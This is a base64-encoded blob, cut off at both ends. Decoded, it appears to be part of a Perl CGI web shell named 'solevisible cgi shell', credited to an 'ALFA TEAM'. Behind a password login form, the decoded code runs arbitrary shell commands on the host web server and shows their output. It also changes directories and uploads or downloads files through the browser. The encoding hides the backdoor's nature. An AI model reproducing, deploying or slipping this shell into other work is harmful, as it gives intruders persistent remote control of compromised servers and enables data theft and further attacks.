Vbml4Q21kU2VwID0gIjsiOwkJDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoNCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCg0KCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQoJew0KCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCgl9DQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQoJew0KCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQoJfQ0KDQoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQ0KCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQ0KCXsNCgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyANCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgDQoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07DQoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsNCgkJJEhlYWRlciA9ICRgOw0KCQkkQm9keSA9ICQnOw0KIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQ0KCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsNCgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyANCgkJJGlueydmJ30gPSAkMTsgDQoJCSRpbnsnZid9ID1+IHMvXCIvL2c7DQoJCSRpbnsnZid9ID1+IHMvXHMvL2c7DQoNCgkJIyBwYXJzZSB0cmFpbGVyDQoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspDQoJCXsgDQoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsNCgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsNCgkJCSRrZXkgPSAkMTsNCgkJCSR2YWwgPSAkJzsNCgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9ID0gJHZhbDsgDQoJCX0NCgl9DQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpDQoJew0KCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7DQoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikNCgkJew0KCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsNCgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7DQoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VIZWFkZXINCnsNCgkkRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsNCgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5zb2xldmlzaWJsZSBjZ2kgc2hlbGw8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQoNCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJzb2xldmlzaWJsZSxhbGZhIHRlYW0sc29sZSBzYWQsaW52aXNpYmxlIj4NCjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJzb2xldmlzaWJsZSxhbGZhIHRlYW0sc29sZSBzYWQsaW52aXNpYmxlIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRkZGRkYiPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQo8Zm9udCBjb2xvcj0icmVkIj48Yj5jb2RlZCBieSBzb2xlIHNhZCAmIGludmlzaWJsZSB+IHNvbGV2aXNpYmxlW2F0XWdtYWlsLmNvbTwvYj48L2ZvbnQ+DQo8dGQgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIiBjb2xvcj0iI2ZmMDAwMCI+IzwvZm9udD48L2I+PC90ZD4NCjx0ZCBiZ2NvbG9yPSIjMDAwMDAwIiB3aWR0aD0iOTglIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj48Yj4gDQo8Zm9udCBjb2xvcj0iIzIyRTIyOCI+PGI+c29sZXZpc2libGUgY2dpIHNoZWxsPC9iPjwvZm9udD4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiMwMDAwMDAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KDQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8cHJlPjxjZW50ZXI+PGltZyBib3JkZXI9IjAiIHNyYz0iaHR0cDovL3NvbGUtc2FkLnBlcnNpYW5naWcuY29tL2ltYWdlL2ZhcnZhaGFyLnBuZyI+PC9jZW50ZXI+PC9wcmU+PGJyPjxicj48L2ZvbnQ+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQpUcnlpbmcgJFNlcnZlck5hbWUuLi48YnI+DQpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+DQpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dPGJyPg0KPGZvbnQgY29sb3I9IiMyMkUyMjgiPjxiPmNvZGVkIGJ5IHNvbGUgc2FkICYgaW52aXNpYmxlIFtBTEZBIFRFYU1dPGI+PC9mb250Pjxicj4NCjxmb250IGNvbG9yPSJyZWQiPjxiPkNvbnRhY3QgOiBzb2xldmlzaWJsZVthdF1nbWFpbC5jb20gPC9iPjwvZm9udD4NCjxjb2RlPiRNZXNzYWdlDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxicj5sb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KDQo8Y29kZT4NCg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KPC9mb250Pg0KPGZvbnQgc2l6ZT0iMyI+DQpVc2VyIDogPGZvbnQgY29sb3I9IiMyMkUyMjgiPjxiPnJvb3Q8L2ZvbnQ+PGJyPg0KUGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCg0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcHJpbnQgPDxFTkQ7DQo8L3htcD4NCg0KPGNvZGU+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuDQo8YnI+S2lsbGVkIGl0IQ0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkNCgkJJE9sZERpciA9ICRDdXJyZW50RGlyOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7DQoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kIjsNCgl9DQoJZWxzZSAjIHNvbWUgb3RoZXIgY29tbWFuZCwgZGlzcGxheSB0aGUgb3V0cHV0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZDx4bXA+IjsNCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCQlpZighJFdpbk5UKQ0KCQl7DQoJCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCQl9DQoJCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgkJew0KCQkJJHw9MTsNCgkJCSRDb21tYW5kIC49ICIgfCI7DQoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJCXsNCgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCQlwcmludCAiJF9cbiI7DQoJCQl9DQoJCQkkfD0wOw0KCQl9DQoJCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCQl7DQoJCQlwcmludCBgJENvbW1hbmRgOw0KCQl9DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCWFsYXJtKDApOw0KCQl9DQoJCXByaW50ICI8L3htcD4iOw0KCX0NCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4NCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KC